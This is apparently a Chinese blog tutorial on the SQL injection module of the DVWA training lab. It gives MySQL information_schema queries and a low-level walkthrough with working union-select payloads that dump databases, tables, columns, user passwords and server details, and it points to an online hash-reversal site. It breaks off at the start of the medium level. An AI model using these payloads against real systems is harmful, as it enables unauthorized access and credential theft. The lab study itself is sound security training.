DVWA-----sql注入模块

concat        把多列结果拼接成一列  中间无间隔符

concat_ws       把多列结果拼接成一列  中间有间隔符

group_concat     把多行结果拼接成一行,


1.show  databases;//查看所有数据库
2.select  database();//查看当前数据库

3.select  schema_name  from  information_schema.schemata;            //查看所有数据库
4.select  table_name       from  information_schema.tables  where  table_schema='dvwa';//查看数据库dvwa的所有表
5.select  column_name   from  information_schema.columns  where  table_schema='dvwa'  and  table_name='users';

                                        //查看数据库dvwa中users表的所有字段
6.select  user,password  from  dvwa.users;                    //查看用户名和密码的内容
7.select concat(user,password) from dvwa.users;       //无间隔符拼接多列结果
8.select concat_ws(0x7e,user,password) from dvwa.users   //有间隔符拼接多列结果
9.select group_concat(user,0x7e,password) from dvwa.users;  //拼接多行结果为一行,每行以逗号结尾

 

https://www.cmd5.com/        加密算法进行反向查询

 

低级别-

输入 1,页面正常回显数据。

 

当输入 1’时,页面报数据库参数错误。如图所示,由此可以判断此处注入类型为字符型。

根据报错信息 可以看出构造的闭合条件,可以看出多了一个‘

构造万能密码 

 

 

 

 

 输入1  or  1=1     没有列出整个列表

 

 

 

 

 

 1'   or   '1'='1      列出整个列表

 

 

 

输入   1' and 1=1 #   回显正确

 

输入    1' and 1=2#   什么都不显示

 

得知  构造的闭合为 1‘

 

 

首先判断列数

1’  order by x

 

 

 

 

 

得知有俩列。

 -1' union select 1,2 #   ,

判断回显位置

 

 

显示当前数据库     -1' union select 1,database() #

爆库    -1' union select 1,  schema_name  from  information_schema.schemata #

 

爆库    -1' union select 1, group_concat(schema_name)  from  information_schema.schemata #

            拼接多行结果为一行,每行以逗号结束

 

 

爆表   -1' union select 1,table_name  from  information_schema.tables  where  table_schema='dvwa'  #

 

 

 

 

爆表      -1' union select 1, group_concat(table_name)  from  information_schema.tables  where  table_schema='dvwa'  #

 

 

爆列     -1' union select 1, column_name  from  information_schema.columns  where  table_name='users'  #

 

 

 

爆列     -1' union select 1, group_concat(column_name)  from  information_schema.columns  where  table_name='users'  #

 

 

 

 

 

爆字段   -1' union select 1, password  from  dvwa.users  #

 

爆字段   -1' union select 1, group_concat(password)  from  dvwa.users  #

 

 

 

concat        把多列结果拼接成一列  中间无间隔符

concat_ws       把多列结果拼接成一列  中间有间隔符

group_concat     把多行结果拼接成一行,

 

-1' union select 1, concat(first_name,last_name)  from  dvwa.users  #

 

 

 

-1' union select 1, concat_ws (0x7e,first_name,last_name)  from  dvwa.users  #

 

 

 

 

 -1' union select 1, group_concat(first_name,0x7e,last_name)  from  dvwa.users  #

 

 

 列出主机名,  数据库路径, 操作系统。

 -1' union select 1, group_concat(@@hostname,0x3a,@@datadir,0x3a,@@version_compile_os)#

 

列出数据库,  当前数据库版本,  最近用户

 -1' union select 1, group_concat(database(),0x3a,version(),0x3a,current_user())#

 

 

 

 

中级

查看源码

    $id = mysql_real_escape_string( $id ); 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

原文地址:https://www.cnblogs.com/xingyuner/p/12772895.html